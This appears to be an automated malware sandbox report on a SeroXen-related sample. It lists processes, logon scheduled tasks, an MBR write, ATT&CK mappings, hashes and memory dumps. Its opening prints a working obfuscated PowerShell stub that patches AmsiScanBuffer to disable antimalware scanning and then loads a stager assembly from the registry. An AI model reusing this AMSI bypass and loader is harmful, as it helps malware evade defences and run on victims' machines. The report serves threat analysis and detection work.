Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+'f'+''+[Char](108)+''+[Char](101)+''+[Char](99)+''+[Char](116)+''+[Char](101)+''+'d'+''+[Char](68)+''+[Char](101)+''+[Char](108)+''+[Char](101)+'g'+'a'+''+[Char](116)+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+'n'+'M'+''+[Char](101)+''+[Char](109)+''+[Char](111)+''+[Char](114)+''+[Char](121)+'M'+[Char](111)+''+[Char](100)+''+[Char](117)+''+[Char](108)+'e',$False).DefineType(''+'M'+'yD'+[Char](101)+'l'+[Char](101)+''+[Char](103)+''+'a'+''+[Char](116)+''+'e'+''+[Char](84)+''+[Char](121)+'p'+[Char](101)+'',''+[Char](67)+'l'+'a'+''+[Char](115)+''+[Char](115)+''+[Char](44)+''+[Char](80)+'ublic'+','+''+'S'+'ea'+'l'+''+[Char](101)+''+'d'+''+','+''+[Char](65)+''+[Char](110)+''+[Char](115)+''+[Char](105)+''+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+'s'+''+[Char](44)+''+'A'+'u'+[Char](116)+''+[Char](111)+''+[Char](67)+''+[Char](108)+'a'+[Char](115)+'s',[MulticastDelegate]);$fjrMwgwDTuH.DefineConstructor(''+[Char](82)+'T'+[Char](83)+''+[Char](112)+''+'e'+''+'c'+''+[Char](105)+'a'+[Char](108)+''+[Char](78)+''+'a'+''+'m'+'e'+','+''+'H'+''+[Char](105)+''+[Char](100)+''+[Char](101)+''+[Char](66)+''+'y'+'S'+'i'+''+[Char](103)+''+','+''+'P'+''+'u'+'bl'+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$PVWdyiCzmAbCCq).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+'t'+[Char](105)+'m'+'e'+''+[Char](44)+''+'M'+''+[Char](97)+''+[Char](110)+''+[Char](97)+''+[Char](103)+''+'e'+''+'d'+'');$fjrMwgwDTuH.DefineMethod(''+'I'+''+'n'+''+'v'+'o'+[Char](107)+''+'e'+'',''+'P'+'u'+[Char](98)+'l'+'i'+''+[Char](99)+','+'H'+'i'+[Char](100)+''+[Char](101)+''+[Char](66)+''+[Char](121)+''+[Char](83)+''+[Char](105)+''+[Char](103)+',N'+[Char](101)+''+'w'+'S'+'l'+'o'+[Char](116)+''+[Char](44)+''+[Char](86)+''+[Char](105)+''+[Char](114)+''+'t'+''+[Char](117)+''+[Char](97)+''+'l'+'',$OdYovBWWlc,$PVWdyiCzmAbCCq).SetImplementationFlags(''+[Char](82)+''+'u'+''+[Char](110)+''+[Char](116)+'i'+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](77)+''+'a'+'nag'+[Char](101)+''+[Char](100)+'');Write-Output $fjrMwgwDTuH.CreateType();}$eVUESmZakaoOC=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+[Char](121)+''+[Char](115)+''+[Char](116)+''+'e'+'m'+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')}).GetType(''+[Char](77)+'i'+[Char](99)+''+'r'+'o'+[Char](115)+''+[Char](111)+''+[Char](102)+'t'+'.'+''+'W'+'i'+[Char](110)+''+'3'+''+[Char](50)+'.Un'+'s'+'af'+[Char](101)+''+[Char](78)+''+'a'+''+[Char](116)+''+'i'+'v'+'e'+'M'+'e'+'t'+[Char](104)+''+[Char](111)+''+'d'+'s');$OaTIeDqGAdMevr=$eVUESmZakaoOC.GetMethod(''+[Char](71)+''+'e'+''+[Char](116)+''+'P'+''+[Char](114)+''+[Char](111)+'cA'+'d'+'d'+[Char](114)+''+'e'+''+'s'+'s',[Reflection.BindingFlags]('P'+'u'+''+[Char](98)+''+[Char](108)+''+[Char](105)+'c,'+[Char](83)+''+[Char](116)+'a'+[Char](116)+''+[Char](105)+''+'c'+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$KIVRBVYZAQwUsbydoJO=HetgjIEFfRmc @([String])([IntPtr]);$yFNYAUBjtgKUzwFdbFTmYw=HetgjIEFfRmc @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$hEjAHDOsAYu=$eVUESmZakaoOC.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+''+[Char](77)+''+[Char](111)+''+[Char](100)+''+[Char](117)+''+[Char](108)+''+[Char](101)+''+'H'+''+'a'+'nd'+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object]('ker'+[Char](110)+''+[Char](101)+'l'+'3'+''+'2'+''+[Char](46)+''+'d'+'l'+[Char](108)+'')));$CFTtcBnQDAHZMj=$OaTIeDqGAdMevr.Invoke($Null,@([Object]$hEjAHDOsAYu,[Object](''+[Char](76)+'o'+[Char](97)+''+'d'+''+'L'+''+[Char](105)+''+'b'+''+[Char](114)+''+'a'+''+[Char](114)+''+[Char](121)+''+'A'+'')));$EVFQLtkjaCHuVDGAt=$OaTIeDqGAdMevr.Invoke($Null,@([Object]$hEjAHDOsAYu,[Object]('V'+'i'+''+'r'+''+[Char](116)+''+[Char](117)+''+[Char](97)+''+[Char](108)+''+'P'+''+[Char](114)+''+[Char](111)+''+'t'+''+[Char](101)+''+'c'+'t')));$KAXFwar=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CFTtcBnQDAHZMj,$KIVRBVYZAQwUsbydoJO).Invoke('am'+'s'+'i'+'.'+'dl'+[Char](108)+'');$kafnhpDCNIMMYQscX=$OaTIeDqGAdMevr.Invoke($Null,@([Object]$KAXFwar,[Object](''+'A'+''+[Char](109)+''+'s'+''+'i'+''+'S'+'c'+'a'+''+'n'+''+[Char](66)+''+[Char](117)+'f'+'f'+''+[Char](101)+'r')));$bpCFMgIYRx=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($EVFQLtkjaCHuVDGAt,$yFNYAUBjtgKUzwFdbFTmYw).Invoke($kafnhpDCNIMMYQscX,[uint32]8,4,[ref]$bpCFMgIYRx);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$kafnhpDCNIMMYQscX,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($EVFQLtkjaCHuVDGAt,$yFNYAUBjtgKUzwFdbFTmYw).Invoke($kafnhpDCNIMMYQscX,[uint32]8,0x20,[ref]$bpCFMgIYRx);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+[Char](79)+''+[Char](70)+'T'+[Char](87)+''+[Char](65)+''+[Char](82)+''+[Char](69)+'').GetValue('$'+'7'+''+[Char](55)+''+'s'+'t'+'a'+''+'g'+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4288

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Drops file in System32 directory
PID:1152

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1248

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1300

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1312

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1392

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1520

C:\Windows\system32\sihost.exe
sihost.exe
2⤵
PID:2540

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1528

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1544

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1656

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1700

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1752

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1804

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1880

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1996

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:2008

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:1508

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1952

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2068

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2144

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2240

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2288

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2560

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2576

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2584

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
- Drops file in System32 directory
PID:2764

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2808

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:2840

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2848

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2880

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2888

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:3096

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3400

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3500

C:\Users\Admin\AppData\Local\Temp\Uni.exe
"C:\Users\Admin\AppData\Local\Temp\Uni.exe"
2⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1588

C:\Windows\SysWOW64\schtasks.exe
"schtasks" /create /tn "SeroXen" /sc ONLOGON /tr "C:\Users\Admin\AppData\Local\Temp\Uni.exe" /rl HIGHEST /f
3⤵
- Creates scheduled task(s)
PID:3924

C:\Users\Admin\AppData\Roaming\SubDir\Client.exe
"C:\Users\Admin\AppData\Roaming\SubDir\Client.exe"
3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:464

C:\Windows\SysWOW64\schtasks.exe
"schtasks" /create /tn "SeroXen" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\Client.exe" /rl HIGHEST /f
4⤵
- Creates scheduled task(s)
PID:5060

C:\Users\Admin\AppData\Local\Temp\nUYVVSgTogoI.exe
"C:\Users\Admin\AppData\Local\Temp\nUYVVSgTogoI.exe"
4⤵
- Executes dropped EXE
- Writes to the Master Boot Record (MBR)
PID:2384

C:\Users\Admin\AppData\Local\Temp\install.exe
"C:\Users\Admin\AppData\Local\Temp\install.exe"
3⤵
- Executes dropped EXE
PID:4652

C:\Windows\SysWOW64\SCHTASKS.exe
"SCHTASKS.exe" /create /tn "$77Uni.exe" /tr "'C:\Users\Admin\AppData\Local\Temp\Uni.exe'" /sc onlogon /rl HIGHEST
3⤵
- Creates scheduled task(s)
PID:5008

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3628

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3828

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
- Modifies registry class
PID:3992

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4128

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4608

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:4788

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:2948

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:1036

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:336

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Modifies data under HKEY_USERS
PID:3860

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:4860

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:4032

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3168

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:1788

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:2596

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
- Checks BIOS information in registry
- Checks SCSI registry key(s)
- Enumerates system info in registry
PID:3748

C:\Windows\system32\backgroundTaskHost.exe
"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:ShellFeedsUI.AppXnj65k2d1a1rnztt2t2nng5ctmk3e76pn.mca
1⤵
PID:3224

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

1

T1053

Persistence

Pre-OS Boot

1

T1542

Bootkit

Scheduled Task/Job

Privilege Escalation

Scheduled Task/Job

1

T1053

Defense Evasion

Pre-OS Boot

1

T1542

Bootkit

1

T1542.003

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery

3

T1082

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\install.exe

Filesize
162KB

MD5
152e3f07bbaf88fb8b097ba05a60df6e

SHA1
c4638921bb140e7b6a722d7c4d88afa7ed4e55c8

SHA256
a4623b34f8d09f536e6d8e2f06f6edfb3975938eb0d9927e6cd2ff9c553468fc

SHA512
2fcc3136e161e89a123f9ff8447afc21d090afdb075f084439b295988214d4b8e918be7eff47ffeec17a4a47ad5a49195b69e2465f239ee03d961a655ed51cd4

Download Submit
C:\Users\Admin\AppData\Local\Temp\nUYVVSgTogoI.exe

Filesize
225KB

MD5
af2379cc4d607a45ac44d62135fb7015

SHA1
39b6d40906c7f7f080e6befa93324dddadcbd9fa

SHA256
26b4699a7b9eeb16e76305d843d4ab05e94d43f3201436927e13b3ebafa90739

SHA512
69899c47d0b15f92980f79517384e83373242e045ca696c6e8f930ff6454219bf609e0d84c2f91d25dfd5ef3c28c9e099c4a3a918206e957be806a1c2e0d3e99

Download Submit
C:\Users\Admin\AppData\Roaming\SubDir\Client.exe

Filesize
409KB

MD5
4c2bb0618a6eda615c8001d5a7ccd6c0

SHA1
c88d2c8bfc5906a5cfef78893d1132edcffd71f0

SHA256
abcda524c02f9381d8d43f9ec0079d854db821d77f45e88f50606f46871f81d6

SHA512
6abe53339656a023e2a0547f1c2249789c33091d67a21f2e689c6411dc5357e34ec3c65634b6f6955a5023d20803f7c746b13f574bcd84b008abb4a97ea61027

Download Submit
C:\Windows\Temp\__PSScriptPolicyTest_4jlxxquv.2w3.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/464-13-0x0000000074650000-0x0000000074E00000-memory.dmp

Filesize
7.7MB

Download
memory/464-713-0x0000000074650000-0x0000000074E00000-memory.dmp

Filesize
7.7MB

Download
memory/464-712-0x0000000074650000-0x0000000074E00000-memory.dmp

Filesize
7.7MB

Download
memory/464-22-0x0000000006270000-0x000000000627A000-memory.dmp

Filesize
40KB

Download
memory/464-14-0x0000000074650000-0x0000000074E00000-memory.dmp

Filesize
7.7MB

Download
memory/616-49-0x000002B39B4C0000-0x000002B39B4E5000-memory.dmp

Filesize
148KB

Download
memory/616-50-0x000002B39B8F0000-0x000002B39B91B000-memory.dmp

Filesize
172KB

Download
memory/616-57-0x000002B39B8F0000-0x000002B39B91B000-memory.dmp

Filesize
172KB

Download
memory/616-58-0x00007FFAB8090000-0x00007FFAB80A0000-memory.dmp

Filesize
64KB

Download
memory/616-51-0x000002B39B8F0000-0x000002B39B91B000-memory.dmp

Filesize
172KB

Download
memory/668-69-0x00007FFAB8090000-0x00007FFAB80A0000-memory.dmp

Filesize
64KB

Download
memory/668-68-0x0000018D062D0000-0x0000018D062FB000-memory.dmp

Filesize
172KB

Download
memory/668-62-0x0000018D062D0000-0x0000018D062FB000-memory.dmp

Filesize
172KB

Download
memory/732-95-0x0000020AD4B60000-0x0000020AD4B8B000-memory.dmp

Filesize
172KB

Download
memory/940-80-0x00007FFAB8090000-0x00007FFAB80A0000-memory.dmp

Filesize
64KB

Download
memory/940-73-0x000001D038510000-0x000001D03853B000-memory.dmp

Filesize
172KB

Download
memory/940-79-0x000001D038510000-0x000001D03853B000-memory.dmp

Filesize
172KB

Download
memory/1016-91-0x00007FFAB8090000-0x00007FFAB80A0000-memory.dmp

Filesize
64KB

Download
memory/1016-84-0x0000024223370000-0x000002422339B000-memory.dmp

Filesize
172KB

Download
memory/1016-90-0x0000024223370000-0x000002422339B000-memory.dmp

Filesize
172KB

Download
memory/1588-21-0x0000000074650000-0x0000000074E00000-memory.dmp

Filesize
7.7MB

Download
memory/1588-5-0x00000000059B0000-0x0000000005A16000-memory.dmp

Filesize
408KB

Download
memory/1588-1-0x0000000000E30000-0x0000000000E9C000-memory.dmp

Filesize
432KB

Download
memory/1588-2-0x0000000005EC0000-0x0000000006464000-memory.dmp

Filesize
5.6MB

Download
memory/1588-3-0x0000000005910000-0x00000000059A2000-memory.dmp

Filesize
584KB

Download
memory/1588-4-0x0000000074650000-0x0000000074E00000-memory.dmp

Filesize
7.7MB

Download
memory/1588-6-0x00000000066B0000-0x00000000066C2000-memory.dmp

Filesize
72KB

Download
memory/1588-0-0x000000007465E000-0x000000007465F000-memory.dmp

Filesize
4KB

Download
memory/1588-7-0x0000000006BF0000-0x0000000006C2C000-memory.dmp

Filesize
240KB

Download
memory/4288-30-0x0000023EF3BB0000-0x0000023EF3BD2000-memory.dmp

Filesize
136KB

Download
memory/4288-33-0x0000023EF60C0000-0x0000023EF60EA000-memory.dmp

Filesize
168KB

Download
memory/4288-34-0x00007FFAF8010000-0x00007FFAF8205000-memory.dmp

Filesize
2.0MB

Download
memory/4288-35-0x00007FFAF7490000-0x00007FFAF754E000-memory.dmp

Filesize
760KB

Download
memory/4828-39-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/4828-45-0x00007FFAF7490000-0x00007FFAF754E000-memory.dmp

Filesize
760KB

Download
memory/4828-43-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/4828-36-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/4828-37-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/4828-38-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/4828-44-0x00007FFAF8010000-0x00007FFAF8205000-memory.dmp

Filesize
2.0MB

Download
memory/4828-46-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download

Analysis

Sharing

Errors

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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